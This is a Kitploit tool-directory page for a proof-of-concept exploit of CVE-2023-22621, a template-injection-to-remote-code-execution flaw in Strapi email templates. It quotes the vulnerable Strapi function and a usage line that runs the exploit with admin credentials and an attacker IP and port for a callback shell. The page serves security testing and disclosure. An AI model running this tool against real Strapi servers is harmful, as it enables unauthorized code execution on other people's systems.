Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-22621-POC — CVE-2023-22621: SSTI to RCE by Exploiting Email Templates affecting Strapi Versions <=4.5.5 | Kitploit
Tools/GitHubGitHub/sofianeelhor/cve-2023-22621-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubsofianeelhor/cve-2023-22621-poc

CVE-2023-22621-POC

CVE-2023-22621: SSTI to RCE by Exploiting Email Templates affecting Strapi Versions <=4.5.5

View Repository
2553 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-22621-POC

CVE-2023-22621: SSTI to RCE by Exploiting Email Templates affecting Strapi Versions <=4.5.5

The function sendTemplatedEmail renders email templates into HTML content using the lodash template engine that evaluates JavaScript code within templates. ref: https://twitter.com/rootxharsh/status/1268181937127997446?lang=en

root@kitploit:~
'use strict';

const _ = require('lodash');

const getProviderSettings = () => {
 return strapi.config.get('plugin.email');
};

const send = async (options) => {
 return strapi.plugin('email').provider.send(options);
};

/**
* fill subject, text and html using lodash template
* @param {object} emailOptions - to, from and replyto...
* @param {object} emailTemplate - object containing attributes to fill
* @param {object} data - data used to fill the template
* @returns {{ subject, text, subject }}
*/
const sendTemplatedEmail = (emailOptions = {}, emailTemplate = {}, data = {}) => {
 const attributes = ['subject', 'text', 'html'];
 const missingAttributes = _.difference(attributes, Object.keys(emailTemplate));
 if (missingAttributes.length > 0) {
   throw new Error(
     `Following attributes are missing from your email template : ${missingAttributes.join(', ')}`
   );
 }

POC

Usage

python3 CVE-2023-22621.py -url http://strapi.local:1337/ -u "[email protected]" -p "$Securep4ss" -ip 127.0.0.1 -port 4545

root@kitploit:~
options:
  -h, --help            show this help message and exit
  -url URL              URL of the Strapi instance
  -u U                  Admin username
  -p P                  Admin password
  -ip IP                Attacker IP
  -port PORT            Attacker port
  -url_redirect         URL to redirect after email confirmation
  -custom CUSTOM        Custom shell command to execute

Credits

All credits goes to original vulnerability finder, checkout his awesome write-up here

Download Tool